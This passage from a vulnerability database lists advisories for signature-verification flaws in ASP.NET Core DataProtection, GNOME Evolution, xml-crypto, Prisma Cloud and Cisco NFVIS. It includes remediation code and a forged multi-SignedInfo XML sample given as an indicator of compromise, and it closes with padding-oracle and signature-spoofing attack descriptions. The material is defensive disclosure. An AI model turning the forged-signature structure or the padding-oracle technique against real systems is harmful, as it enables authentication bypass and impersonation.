      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3196"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi-id.com/cve-2021-3196-attackers-can-impersonate-another-user"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi.com/hirt/hitachi-sec/2021/601.html"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi.com/hirt/security/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9MV3-2CWR-P262

Vulnerability from github – Published: 2026-04-23 14:55 – Updated: 2026-04-24 19:59
VLAI
Summary
Microsoft Security Advisory CVE-2026-40372 – ASP.NET Core Elevation of Privilege
Details

Executive Summary:

A bug in Microsoft.AspNetCore.DataProtection 10.0.0-10.0.6 NuGet packages can give an attacker the opportunity to execute an Elevation of Privilege attack by forging authentication cookies, and also allows some protected payloads to be decrypted.

If an attacker used forged payloads to authenticate as a privileged user during the vulnerable window, they may have induced the application to issue legitimately-signed tokens (session refresh, API key, password reset link, etc.) to themselves. Those tokens remain valid after upgrading to 10.0.7 unless the DataProtection key ring is rotated.

This is comparable in capability to MS10-070, which exploited a similar padding-oracle condition in ASP.NET's legacy encryption infrastructure.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/395

CVSS Details

  • Version: 3.1
  • Severity: Important
  • Score: 9.1
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Weakness: CWE-347: Improper Verification of Cryptographic Signature

Affected Platforms

  • Platforms: All
  • Architectures: All

Affected Packages

The vulnerability affects some Microsoft .NET projects if they use any of affected package versions listed below

ASP.NET Core 10

Package name Affected version Patched version
Microsoft.AspNetCore.DataProtection >=10.0.0, <=10.0.6 10.0.7

Advisory FAQ

How do I know if I am affected?

Primary affected configuration (10.0.6 on net10.0)

You are affected if ALL of the following are true:

  • Your application referenced Microsoft.AspNetCore.DataProtection version 10.0.6 from NuGet (directly or transitively via, e.g., Microsoft.AspNetCore.DataProtection.StackExchangeRedis, .EntityFrameworkCore, .AzureKeyVault, .AzureStorage, .Redis), AND The affected 10.0.6 NuGet binary was actually loaded at runtime. This happens when either the application does NOT target the Microsoft.NET.Sdk.Web NOR has a Microsoft.AspNetCore.App framework reference either directly or transitively UNLESS you opt out of PrunePackageReference which is enabled by default in .NET 10.
  • The application ran on Linux, macOS, or any non-Windows operating system.

Secondary affected configuration (10.0.x on net462 / netstandard2.0)

You are also affected if:

  • Your application or library referenced Microsoft.AspNetCore.DataProtection versions 10.0.0 through 10.0.6 from NuGet, AND
  • The build consumed the net462 or netstandard2.0 target framework asset of that package. This occurs when your application does not target net10.0 and consumes the package (e.g. net8.0, net9.0, net481 for mono, etc.). This combination is unusual because 10.0 NuGet packages are generally intended for use with .NET 10.

This secondary population is much smaller and is expected to primarily consist of: - Desktop or server applications on .NET Framework that happen to use the ASP.NET Core DataProtection NuGet package. - Libraries that target netstandard2.0 and reference the 10.0 DataProtection package.

These configurations use the same managed authenticated encryptor code path on all operating systems (the CNG path is only available on the net10.0 asset), so the Windows exception below does not apply to them.

Not affected

  • Your application runs on Windows
  • Your application runs framework-dependent on net10.0 and your installed ASP.NET Core shared framework version is ≥ your PackageReference version of Microsoft.AspNetCore.DataProtection. In this case the (correct) shared framework copy is loaded and the NuGet copy is not used. For example, shared framework 10.0.6 + PackageReference 10.0.6 is safe; shared framework 10.0.5 + PackageReference 10.0.6 is not.
  • Your application uses Microsoft.AspNetCore.DataProtection 8.0.x or 9.0.x from NuGet, on any target framework, any operating system, any shared framework version. The defective code path was introduced during 10.0 development and was never backported to the 8.0 or 9.0 servicing branches.
  • Your application never referenced any affected version of the package.

How do I fix the issue?

  1. Upgrade Microsoft.AspNetCore.DataProtection to 10.0.7 or later and redeploy. This fixes the validation routine. Any forged payloads produced during the vulnerable window (which necessarily carried all-zero HMAC bytes) will be rejected by the corrected code.

  2. Rotate the DataProtection key ring if your application was affected and served internet-exposed endpoints during the vulnerable window. This invalidates any legitimately-signed tokens the application may have issued to attackers during that period.

Example using the built-in key manager:

```csharp // Run once, from an application with access to the same key ring. // Replace the cutoff with a timestamp just before you deployed 10.0.6. var services = new ServiceCollection() .AddDataProtection() // ... your existing repository / protection configuration ... .Services .BuildServiceProvider();

var keyManager = services.GetRequiredService(); keyManager.RevokeAllKeys( revocationDate: DateTimeOffset.UtcNow, // revoke all keys currently in the ring reason: "CVE-TBD: DataProtection 10.0.6 validation bypass"); ```

RevokeAllKeys marks every existing key as revoked; a new key is auto-generated on the next protect operation. All users will need to sign in again, all antiforgery tokens will be reissued, etc.

If you can be more surgical — for instance, you know no key older than T was used by an affected process — use RevokeKey(Guid keyId, string reason) instead to revoke only the keys that were active during the vulnerable window.

  1. Audit application-level long-lived artifacts that were created during the vulnerable window and carry identity or capability. These survive key rotation and must be rotated at the application layer:
  2. API keys, refresh tokens, or access tokens stored in your database and issued via a protected endpoint.
  3. Password reset links or email-confirmation tokens that were emitted during the window and have not yet expired.
  4. Any other persistent capability that an authenticated request could have caused your application to issue.

If your application does not issue such long-lived artifacts via authenticated endpoints, key rotation alone is sufficient.

Recommended

  1. Audit plaintext stored inside protected payloads. If your application stores long-lived secrets (database connection strings, third-party API keys, etc.) inside IDataProtector.Protect output, treat those secrets as potentially disclosed and rotate them at their respective sources.

  2. Review web server logs for anomalous request volume against endpoints that accept protected payloads (auth cookies, antiforgery tokens, state parameters). The padding-oracle attack requires many requests per byte recovered — orders of magnitude more than normal traffic for that endpoint. Sustained high-volume traffic with varying cookie/query-parameter values against a single authenticated endpoint during the vulnerable window is a strong indicator.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main ASP.NET Core repo is located at https://github.com/dotnet/aspnetcore. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-40372

Revisions

V1.0 (April 21, 2026): Advisory published.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.6"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.DataProtection"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T14:55:41Z",
    "nvd_published_at": "2026-04-21T20:16:59Z",
    "severity": "CRITICAL"
  },
  "details": "## Executive Summary: \n\nA bug in `Microsoft.AspNetCore.DataProtection` 10.0.0-10.0.6 NuGet packages can give an attacker the opportunity to execute an Elevation of Privilege attack by forging authentication cookies, and also allows some protected payloads to be decrypted.\n\nIf an attacker used forged payloads to authenticate as a privileged user during the vulnerable window, they may have induced the application to issue **legitimately-signed** tokens (session refresh, API key, password reset link, etc.) to themselves. Those tokens remain valid after upgrading to 10.0.7 unless the DataProtection key ring is rotated.\n\nThis is comparable in capability to [MS10-070](https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-070), which exploited a similar padding-oracle condition in ASP.NET\u0027s legacy encryption infrastructure.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/395\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Important\n- **Score:** 9.1\n- **Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n- **Weakness:** CWE-347: Improper Verification of Cryptographic Signature\n\n## Affected Platforms\n\n- **Platforms:** All\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects some Microsoft .NET projects if they use any of affected package versions listed below\n\n### \u003ca name=\"ASP.NET Core 10\"\u003e\u003c/a\u003eASP.NET Core 10\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.DataProtection](https://www.nuget.org/packages/Microsoft.AspNetCore.DataProtection)               | \u003e=10.0.0, \u003c=10.0.6 | 10.0.7\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n \n#### Primary affected configuration (10.0.6 on `net10.0`)\n \nYou are **affected** if ALL of the following are true:\n \n- Your application referenced `Microsoft.AspNetCore.DataProtection` version 10.0.6 from NuGet (directly or transitively via, e.g., `Microsoft.AspNetCore.DataProtection.StackExchangeRedis`, `.EntityFrameworkCore`, `.AzureKeyVault`, `.AzureStorage`, `.Redis`), AND\nThe affected 10.0.6 NuGet binary was actually loaded at runtime. This happens when either the application does NOT target the Microsoft.NET.Sdk.Web NOR has a Microsoft.AspNetCore.App framework reference either directly or transitively UNLESS you opt out of PrunePackageReference which is enabled by default in .NET 10. \n- The application ran on Linux, macOS, or any non-Windows operating system.\n \n#### Secondary affected configuration (10.0.x on `net462` / `netstandard2.0`)\n\nYou are also affected if:\n \n- Your application or library referenced `Microsoft.AspNetCore.DataProtection` versions 10.0.0 through 10.0.6 from NuGet, AND\n- The build consumed the `net462` or `netstandard2.0` target framework asset of that package. This occurs when your application does not target `net10.0` and consumes the package (e.g. `net8.0`, `net9.0`, `net481` for mono, etc.). This combination is unusual because 10.0 NuGet packages are generally intended for use with .NET 10.\n \nThis secondary population is much smaller and is expected to primarily consist of:\n- Desktop or server applications on .NET Framework that happen to use the ASP.NET Core DataProtection NuGet package.\n- Libraries that target `netstandard2.0` and reference the 10.0 DataProtection package.\n \nThese configurations use the same managed authenticated encryptor code path on all operating systems (the CNG path is only available on the `net10.0` asset), so the Windows exception below does not apply to them.\n \n#### Not affected\n \n- Your application runs on **Windows** \n- Your application runs **framework-dependent** on `net10.0` and your installed ASP.NET Core shared framework version is **\u2265** your PackageReference version of `Microsoft.AspNetCore.DataProtection`. In this case the (correct) shared framework copy is loaded and the NuGet copy is not used. For example, shared framework 10.0.6 + PackageReference 10.0.6 is safe; shared framework 10.0.5 + PackageReference 10.0.6 is not.\n- Your application uses `Microsoft.AspNetCore.DataProtection` **8.0.x or 9.0.x** from NuGet, on any target framework, any operating system, any shared framework version. The defective code path was introduced during 10.0 development and was never backported to the 8.0 or 9.0 servicing branches.\n- Your application never referenced any affected version of the package.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. **Upgrade `Microsoft.AspNetCore.DataProtection` to 10.0.7 or later** and redeploy. This fixes the validation routine. Any forged payloads produced during the vulnerable window (which necessarily carried all-zero HMAC bytes) will be rejected by the corrected code.\n \n2. **Rotate the DataProtection key ring** if your application was affected and served internet-exposed endpoints during the vulnerable window. This invalidates any legitimately-signed tokens the application may have issued to attackers during that period.\n \n   Example using the built-in key manager:\n \n   ```csharp\n   // Run once, from an application with access to the same key ring.\n   // Replace the cutoff with a timestamp just before you deployed 10.0.6.\n   var services = new ServiceCollection()\n       .AddDataProtection()\n       // ... your existing repository / protection configuration ...\n       .Services\n       .BuildServiceProvider();\n \n   var keyManager = services.GetRequiredService\u003cIKeyManager\u003e();\n   keyManager.RevokeAllKeys(\n       revocationDate: DateTimeOffset.UtcNow,      // revoke all keys currently in the ring\n       reason: \"CVE-TBD: DataProtection 10.0.6 validation bypass\");\n   ```\n \n   `RevokeAllKeys` marks every existing key as revoked; a new key is auto-generated on the next protect operation. All users will need to sign in again, all antiforgery tokens will be reissued, etc.\n \n   If you can be more surgical \u2014 for instance, you know no key older than `T` was used by an affected process \u2014 use `RevokeKey(Guid keyId, string reason)` instead to revoke only the keys that were active during the vulnerable window.\n \n3. **Audit application-level long-lived artifacts** that were created during the vulnerable window and carry identity or capability. These survive key rotation and must be rotated at the application layer:\n   - API keys, refresh tokens, or access tokens stored in your database and issued via a protected endpoint.\n   - Password reset links or email-confirmation tokens that were emitted during the window and have not yet expired.\n   - Any other persistent capability that an authenticated request could have caused your application to issue.\n \n   If your application does not issue such long-lived artifacts via authenticated endpoints, key rotation alone is sufficient.\n \n### Recommended\n \n4. **Audit plaintext stored inside protected payloads.** If your application stores long-lived secrets (database connection strings, third-party API keys, etc.) inside `IDataProtector.Protect` output, treat those secrets as potentially disclosed and rotate them at their respective sources.\n \n5. **Review web server logs** for anomalous request volume against endpoints that accept protected payloads (auth cookies, antiforgery tokens, state parameters). The padding-oracle attack requires many requests per byte recovered \u2014 orders of magnitude more than normal traffic for that endpoint. Sustained high-volume traffic with varying cookie/query-parameter values against a single authenticated endpoint during the vulnerable window is a strong indicator.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main ASP.NET Core repo is located at https://github.com/dotnet/aspnetcore. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-40372]( https://www.cve.org/CVERecord?id=CVE-2026-40372)\n\n### Revisions\n\nV1.0 (April 21, 2026): Advisory published.",
  "id": "GHSA-9mv3-2cwr-p262",
  "modified": "2026-04-24T19:59:43Z",
  "published": "2026-04-23T14:55:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-9mv3-2cwr-p262"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40372"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/395"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/aspnetcore"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40372"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-40372 \u2013 ASP.NET Core Elevation of Privilege"
}

GHSA-9P6F-V932-MFXM

Vulnerability from github – Published: 2022-05-14 00:58 – Updated: 2022-05-14 00:58
VLAI
Details

GNOME Evolution through 3.28.2 is prone to OpenPGP signatures being spoofed for arbitrary messages using a specially crafted email that contains a valid signature from the entity to be impersonated as an attachment.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-15587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-11T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "GNOME Evolution through 3.28.2 is prone to OpenPGP signatures being spoofed for arbitrary messages using a specially crafted email that contains a valid signature from the entity to be impersonated as an attachment.",
  "id": "GHSA-9p6f-v932-mfxm",
  "modified": "2022-05-14T00:58:54Z",
  "published": "2022-05-14T00:58:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15587"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.gnome.org/show_bug.cgi?id=796424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RUB-NDS/Johnny-You-Are-Fired"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RUB-NDS/Johnny-You-Are-Fired/blob/master/paper/johnny-fired.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Jun/7"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3998-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4457"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00047.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00061.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/152703/Johnny-You-Are-Fired.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Apr/38"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/04/30/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9P8X-F768-WP2G

Vulnerability from github – Published: 2025-03-14 17:14 – Updated: 2025-03-16 21:34
VLAI
Summary
xml-crypto Vulnerable to XML Signature Verification Bypass via Multiple SignedInfo References
Details

Impact

An attacker may be able to exploit this vulnerability to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker with a valid account to escalate privileges or impersonate another user.

Patches

All versions <= 6.0.0 are affected. Please upgrade to version 6.0.1.

If you are still using v2.x or v3.x please upgrade to the associated patch version.

Indicators of Compromise

When logging XML payloads, check for the following indicators. If the payload includes encrypted elements, ensure you analyze the decrypted version for a complete assessment. (If encryption is not used, analyze the original XML document directly). This applies to various XML-based authentication and authorization flows, such as SAML Response payloads.

Multiple SignedInfo Nodes

There should not be more than one SignedInfo node inside a Signature. If you find multiple SignedInfo nodes, it could indicate an attack.

<Signature>
    <SomeNode>
      <SignedInfo>
        <Reference URI="somefakereference">
          <DigestValue>forgeddigestvalue</DigestValue>
        </Reference>
      </SignedInfo>
    </SomeNode>
    <SignedInfo>
        <Reference URI="realsignedreference">
          <DigestValue>realdigestvalue</DigestValue>
        </Reference>
      </SignedInfo>
    </SignedInfo>
</Signature>

Code to test

Pass in the decrypted version of the document

decryptedDocument = ... // yours to implement

// This check is per-Signature node, not per-document
const signedInfoNodes = xpath.select(".//*[local-name(.)='SignedInfo']", signatureNode);

if (signedInfoNodes.length === 0) {
  // Not necessarily a compromise, but invalid. Should contain exactly one SignedInfo node
  // Yours to implement
}

if (signedInfoNodes.length > 1) {
  // Compromise detected, yours to implement
}
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "xml-crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xml-crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xml-crypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-29774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-14T17:14:23Z",
    "nvd_published_at": "2025-03-14T17:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "# Impact\nAn attacker may be able to exploit this vulnerability to bypass authentication or authorization mechanisms in systems that rely on xml-crypto for verifying signed XML documents. The vulnerability allows an attacker to modify a valid signed XML message in a way that still passes signature verification checks. For example, it could be used to alter critical identity or access control attributes, enabling an attacker with a valid account to escalate privileges or impersonate another user.\n\n# Patches\nAll versions \u003c= 6.0.0 are affected. Please upgrade to version 6.0.1.\n\nIf you are still using v2.x or v3.x please upgrade to the associated patch version.\n\n# Indicators of Compromise\n\nWhen logging XML payloads, check for the following indicators. If the payload includes encrypted elements, ensure you analyze the decrypted version for a complete assessment. (If encryption is not used, analyze the original XML document directly). This applies to various XML-based authentication and authorization flows, such as SAML Response payloads.\n\n### Multiple SignedInfo Nodes\nThere should not be more than one SignedInfo node inside a Signature. If you find multiple SignedInfo nodes, it could indicate an attack.\n\n```xml\n\u003cSignature\u003e\n    \u003cSomeNode\u003e\n      \u003cSignedInfo\u003e\n        \u003cReference URI=\"somefakereference\"\u003e\n          \u003cDigestValue\u003eforgeddigestvalue\u003c/DigestValue\u003e\n        \u003c/Reference\u003e\n      \u003c/SignedInfo\u003e\n    \u003c/SomeNode\u003e\n    \u003cSignedInfo\u003e\n        \u003cReference URI=\"realsignedreference\"\u003e\n          \u003cDigestValue\u003erealdigestvalue\u003c/DigestValue\u003e\n        \u003c/Reference\u003e\n      \u003c/SignedInfo\u003e\n    \u003c/SignedInfo\u003e\n\u003c/Signature\u003e\n```\n\n### Code to test\n\nPass in the decrypted version of the document\n```js\ndecryptedDocument = ... // yours to implement\n\n// This check is per-Signature node, not per-document\nconst signedInfoNodes = xpath.select(\".//*[local-name(.)=\u0027SignedInfo\u0027]\", signatureNode);\n\nif (signedInfoNodes.length === 0) {\n  // Not necessarily a compromise, but invalid. Should contain exactly one SignedInfo node\n  // Yours to implement\n}\n\nif (signedInfoNodes.length \u003e 1) {\n  // Compromise detected, yours to implement\n}\n```",
  "id": "GHSA-9p8x-f768-wp2g",
  "modified": "2025-03-16T21:34:47Z",
  "published": "2025-03-14T17:14:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/security/advisories/GHSA-9p8x-f768-wp2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/commit/28f92218ecbb8dcbd238afa4efbbd50302aa9aed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/commit/886dc63a8b4bb5ae1db9f41c7854b171eb83aa98"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/commit/8ac6118ee7978b46aa56b82cbcaa5fca58c93a07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-saml/xml-crypto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/releases/tag/v2.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/releases/tag/v3.2.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/xml-crypto/releases/tag/v6.0.1"
    },
    {
      "type": "WEB",
      "url": "https://workos.com/blog/samlstorm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xml-crypto Vulnerable to XML Signature Verification Bypass via Multiple SignedInfo References"
}

GHSA-9PF8-H538-2P8J

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

An improper verification of cryptographic signature vulnerability exists in the Palo Alto Networks Prisma Cloud Compute console. This vulnerability enables an attacker to bypass signature validation during SAML authentication by logging in to the Prisma Cloud Compute console as any authorized user. This issue impacts: All versions of Prisma Cloud Compute 19.11, Prisma Cloud Compute 20.04, and Prisma Cloud Compute 20.09; Prisma Cloud Compute 20.12 before update 1. Prisma Cloud Compute SaaS version is not impacted by this vulnerability.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-10T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An improper verification of cryptographic signature vulnerability exists in the Palo Alto Networks Prisma Cloud Compute console. This vulnerability enables an attacker to bypass signature validation during SAML authentication by logging in to the Prisma Cloud Compute console as any authorized user. This issue impacts: All versions of Prisma Cloud Compute 19.11, Prisma Cloud Compute 20.04, and Prisma Cloud Compute 20.09; Prisma Cloud Compute 20.12 before update 1. Prisma Cloud Compute SaaS version is not impacted by this vulnerability.",
  "id": "GHSA-9pf8-h538-2p8j",
  "modified": "2022-05-24T17:41:52Z",
  "published": "2022-05-24T17:41:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3033"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2021-3033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9Q6J-4FR7-7X67

Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2026-08-24 18:31
VLAI
Details

A vulnerability in the upgrade component of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, local attacker to install a malicious file when upgrading. The vulnerability is due to insufficient signature validation. An attacker could exploit this vulnerability by providing a crafted upgrade file. A successful exploit could allow the attacker to upload crafted code to the affected device.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-3138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-19T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the upgrade component of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, local attacker to install a malicious file when upgrading. The vulnerability is due to insufficient signature validation. An attacker could exploit this vulnerability by providing a crafted upgrade file. A successful exploit could allow the attacker to upload crafted code to the affected device.",
  "id": "GHSA-9q6j-4fr7-7x67",
  "modified": "2026-08-24T18:31:25Z",
  "published": "2022-05-24T17:09:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3138"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nfvis-codex-shs4NhvS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list